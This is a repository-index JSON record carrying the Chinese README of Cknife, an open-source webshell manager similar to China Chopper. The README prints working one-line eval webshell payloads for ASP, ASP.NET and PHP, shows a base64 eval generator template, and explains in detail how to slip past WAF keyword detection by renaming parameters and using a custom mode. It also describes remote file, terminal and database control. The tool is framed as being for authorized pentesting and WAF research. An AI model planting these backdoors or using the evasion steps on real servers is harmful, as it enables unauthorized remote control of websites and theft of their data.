{"id":13544114,"url":"https://github.com/Chora10/Cknife","last_synced_at":"2025-04-02T14:30:25.380Z","repository":{"id":40625116,"uuid":"51974140","full_name":"Chora10/Cknife","owner":"Chora10","description":"Cknife","archived":false,"fork":false,"pushed_at":"2023-11-29T08:25:57.000Z","size":9318,"stargazers_count":2430,"open_issues_count":25,"forks_count":883,"subscribers_count":131,"default_branch":"master","last_synced_at":"2024-11-03T11:32:15.398Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"http://www.ms509.com","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Chora10.png","metadata":{"files":{"readme":"ReadMe.txt","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2016-02-18T02:58:01.000Z","updated_at":"2024-11-01T02:37:39.000Z","dependencies_parsed_at":"2024-11-03T11:30:33.485Z","dependency_job_id":"8ff93939-d6e5-4de5-9bc2-add568e5b9f7","html_url":"https://github.com/Chora10/Cknife","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Chora10%2FCknife","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Chora10%2FCknife/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Chora10%2FCknife/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Chora10%2FCknife/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Chora10","download_url":"https://codeload.github.com/Chora10/Cknife/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246832051,"owners_count":20841098,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-01T11:00:42.301Z","updated_at":"2025-04-02T14:30:24.516Z","avatar_url":"https://github.com/Chora10.png","language":"Java","funding_links":[],"categories":["Java","其他_安全与渗透"],"sub_categories":["网络服务_其他"],"readme":"软件名称：Cknife\n中文名称：C刀\n源码地址：https://github.com/Chora10/Cknife\n下载地址：http://pan.baidu.com/s/1nul1mpr  密码：f65g\n官方博客：http://www.ms509.com/\n作者：\t  Chora \u0026\u0026 MelodyZX\n----------------------------------------------------------------------------------------------------------\n免责声明：\n本工具仅限于安全研究与教学使用，用户使用本工具所造成的所有后果，由用户承担全部法律及连带责任！作者不承担任何法律及连带责任。\n----------------------------------------------------------------------------------------------------------\n为什么开发Cknife：\n1、方便已被授权的渗透测试人员进行渗透测试；\n2、方便WAF厂商提升自身WAF的防护能力；\n3、方便管理员管理自身网站及服务器。\n----------------------------------------------------------------------------------------------------------\n为什么开源Cknife：\n1、结合大众的力量优化完善本软件；\n2、菜刀后门层出不穷，开源来接受大众的监督以及审计。\n----------------------------------------------------------------------------------------------------------\n理想：希望能在安全研究员以及WAF厂商的对抗中提升国内WAF的防护水平以及安全研究员的实力。\n----------------------------------------------------------------------------------------------------------\n\n\n一、运行环境：\n\n安装了JRE1.7+环境的所有操作系统\n\n二、文件说明：\n------------------------------------------------------------------\nCknife.jar\tCknife主程序\n------------------------------------------------------------------\nCknife.db\tCknife的数据库(不存在会自动生成)\nConfig.ini\tCknife的配置文件(不存在会自动生成)\nReadMe.txt\t你现在正在看的(可删除)\n1.jsp\t\tJSP服务端脚本(可删除)\n1.jspx\t\tJSPX服务端脚本(可删除)\n------------------------------------------------------------------\n\n三、使用说明：\n\n服务端脚本支持ASP、ASPX、PHP、JSP、JSPX、Customize(自定义)。\n代码包含且不限于如下代码（只要能构造出类似eval的函数就行，比如PHP的create_function、assert等）\n\nASP:        \n\u003c%eval request(\"Cknife\")%\u003e\n　\t\nASP.NET:    \n\u003c%@ Page Language=\"Jscript\"%\u003e\u003c%eval(Request.Item[\"Cknife\"],\"unsafe\");%\u003e\n\nPHP:        \n\u003c?php @eval($_POST['Cknife']);?\u003e\n\nJSP:\t    \n[代码详见1.jsp]\n\nJSPX:\t    \n[代码详见1.jspx]\n\nCustomize:  \n自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与C刀进行交互即可。此模式可按需定制，比如只要浏览目录，或是只要虚拟终端功能，代码可以很简短。\n\n\n四、数据库功能：\n\n首次使用在列表里点击右键，选择数据库管理会提示请先配置数据库，点击配置数据库按钮选择对应的连接方式连接即可。\n\n五、设置功能：\n\n代理功能：在类型处选择代理类型。支持SOCKS、HTTP类型的代理，使用Burp抓取Cknife数据，需选择代理类型为HTTP，并填上对应的IP以及端口即可。\n如果想要关闭代理功能，只需要选择代理类型为DIRECT，或者清空用户名或密码，即表示关闭代理。\n\n自定义请求头功能：在文本框里输入要自定义的请求头以及对应的值，可以添加或修改多个请求头。只需要按照如下格式添加即可：\nUser-Agent:xxx\nCookie:xxx\nms509:Chora\n如果想要关闭自定义请求头功能，只需要把文本框内容清空，或者选中关闭选项并确定。\n\n六、过WAF\n\n这是一款跨平台的基于配置文件的中国菜刀，把所有操作给予用户来定义，主程序只是图形的展示，以及数据的发送。\n我分开了每一个步骤写入到配置文件里面，用户可以自定义任何代码，包括更改参数名称，参数内容。 \n比如： \nSKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel 设置皮肤为nimbus \nSPL=-\u003e|               \t\t\t       表示截取数据的开始符号 \nSPR=|\u003c-               \t\t\t       表示截取数据的结束符号 \nCODE=code         \t\t\t       编码参数 \nACTION=action    \t\t\t       动作参数 \nPARAM1=z1         \t\t\t       参数1 \nPARAM2=z2         \t\t\t       参数2 \nPHP_BASE64=1   \t\t\t\t       当为PHP时，Z1，Z2参数是否开启自动base64加密，如果想定义自己的加密方式则关闭设置为0 \nPHP_MAKE=@eval(base64_decode($_POST[action])); 生成方式，这里可以不用该方式，可以用你任何想要的方式 \nPHP_INDEX=...             \t\t       显示主页功能的代码放这儿\nPHP_READDICT=...      \t\t\t       读取主页功能的代码放这儿\nPHP_READFILE=...       \t\t\t       读取文件功能的代码放这儿\nPHP_DELETE=...           \t\t       删除文件夹以及文件功能的代码放这儿\nPHP_RENAME=...         \t\t\t       重命名文件夹以及文件功能的代码放这儿\nPHP_RETIME=...         \t\t\t       修改时间功能的代码放这儿\nPHP_NEWDICT=...        \t\t\t       新建目录功能的代码放这儿\nPHP_UPLOAD=...          \t\t       上传文件功能的代码放这儿\nPHP_DOWNLOAD=...    \t\t\t       下载文件功能的代码放这儿\nPHP_SHELL=...              \t\t       虚拟终端功能的代码放这儿\nPHP_DB_MYSQL=...\t\t\t       管理MYSQL数据库功能的代码放这儿\nASP_...=...\nASPX_...=...\nJSP_...=...\n\n除了修改以上参数过WAF外，程序还额外提供了一种Customize过WAF的模式。\nCustomize模式原本是用于支持一些程序默认不支持的脚本，比如CFM、ASMX、ASHX、PY等等，只要用户自写的脚本能正确与菜刀进行交互即可。\n\n换一个思考方式，如果我们自写一个PHP脚本实现了列文件以及目录的功能，它能够正确的与C刀进行交互，这个时候如果我们选择PHP(Eval)的连接方式就会连接失败。\n应该选择Customize模式进行连接。有人说为什么一句话就可以连接，你偏偏还要写这么多代码用Customize模式连接？如果一个很厉害的WAF检测eval,assert等关键词\n，你的一句话实在是饶不过，这个时候你可以不用一句话，就在PHP脚本里用正常代码实现列文件以及目录，然后用Customize模式连接就达到了过WAF的目的。\n\nCustomize(自定义)模式跟其他模式一样，每一个步骤也都写入到配置文件里面，用户同样可以参数名称以及参数内容。\n比如你自写了用Customize模式连接的Customize.php服务端。显示主页功能提交的参数应该是：密码=1\u0026action=index以及密码=1\u0026action=readdict。\n如果C刀普及以后WAF厂商肯定会把readdict列入黑名单，这个时候你就可以修改readdict的名称为其他名称，同样可以修改action的名称，也可以修改1为其他字符\nCUS_MAKE=1 \nCUS_INDEX=index \nCUS_READDICT=readdict \nCUS_READFILE=readfile \nCUS_SAVEFILE=savefile \nCUS_DELETE=delete \nCUS_RENAME=rename \nCUS_RETIME=retime \nCUS_NEWDICT=newdict \nCUS_UPLOAD=upload \nCUS_DOWNLOAD=download \nCUS_SHELL=shell\n\n七、更新日志：(更新版本后请删除Config.ini文件，重新打开自动生成新版本的Config.ini)\n\n程序在使用过程中难免有各种BUG，及时关注看一下是否有更新吧，说不定己经修补了呢。\n\n已知问题：\nGraphite与Metal类型的皮肤互相之间切换不需要重启Cknife，其余类型(Nimbus、Windows、Mac等)的皮肤相互之间切换也不需要重启Cknife，\n但是这两种类型的皮肤进行切换就需要重启Cknife才能完全生效，不然最小化、最大化、关闭按钮不会显示，这是Swing架构遗留的问题。\n\n20160729\n1、文件管理修复若干BUG\n2、文件管理新增修改时间功能\n3、文件管理优化界面\n\n20160728\n1、数据库管理修复若干BUG\n2、数据库管理增加获取表行数\n3、数据库管理优化界面\n\n20160623\n1、虚拟终端增加右键复制粘贴功能（快捷键Ctrl+C、Ctrl+V）\n2、虚拟终端增加上键下键切换历史命令功能\n3、数据库管理增加右键导出数据功能\n\n20160622\n1、修复ORACLE数据库连接失败的问题\n2、修复在某分辨率下添加SHELL对话框里的密码文本框消失的问题\n3、更新JSPX脚本\n\n20160620\n1、修复虚拟终端低概率执行失败的情况\n2、数据库管理界面优化\n\n20160618\n1、添加对HTTPS协议的支持\n2、修复文件管理右边栏遇到乱码不显示的情况\n\n20160513\n1、添加自定义请求头功能\n\n20160511\n1、添加设置选项并增加了代理功能\n2、增加了对JSPX脚本的支持，连接时脚本类型选择JSP(Eval)\n\n20160426\n1、修复JSP连接MYSQL数据库异常的问题\n2、虚拟终端增加自定义Cmd路径的功能，命令为setp [path]\n\n20160413\n1、添加自定义模式shell返回路径的自定义分隔符\n2、添加JSP对MSSQL的支持\n\n20160318\n1、优化界面，右边栏点击目录后左边栏也会选中\n2、修复ASP、ASPX、JSP在打开空目录时会失败的问题\n3、将默认皮肤Graphite添加到皮肤切换功能\n4、虚拟终端增加标识符方便用户分辨\n5、数据库部分功能增加多线程\n\n20160317\n1、优化文件管理左边栏的打开方式\n2、文件管理所有功能使用多线程，防止高延迟请求界面会卡的情况发生\n\n20160316\n1、修复在Linux下默认皮肤显示乱码的问题\n2、添加ASPX对MSSQL、ACCESS的支持\n3、更换皮肤解决选中后看不清的情况\n\n20160314\n1、添加ASP对MSSQL、ACCESS的支持\n2、修复中文路径启动失败的问题\n\n20160311\n1、修复模拟终端若干BUG；\n2、模拟终端使用多线程，防止高延迟请求界面会卡的情况发生\n\n20160310\n1、添加JSP对MYSQL、ORACLE的支持\n2、修复在Windows下，文件管理会多出一个盘符\n\n20160307\n1、连接失败返回详细信息，方便用户分析问题\n\n20160301\n1、合并Cknife与Cknife_Skin\n2、添加数据库功能，添加PHP对MYSQL的支持","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FChora10%2FCknife","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FChora10%2FCknife","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FChora10%2FCknife/lists"}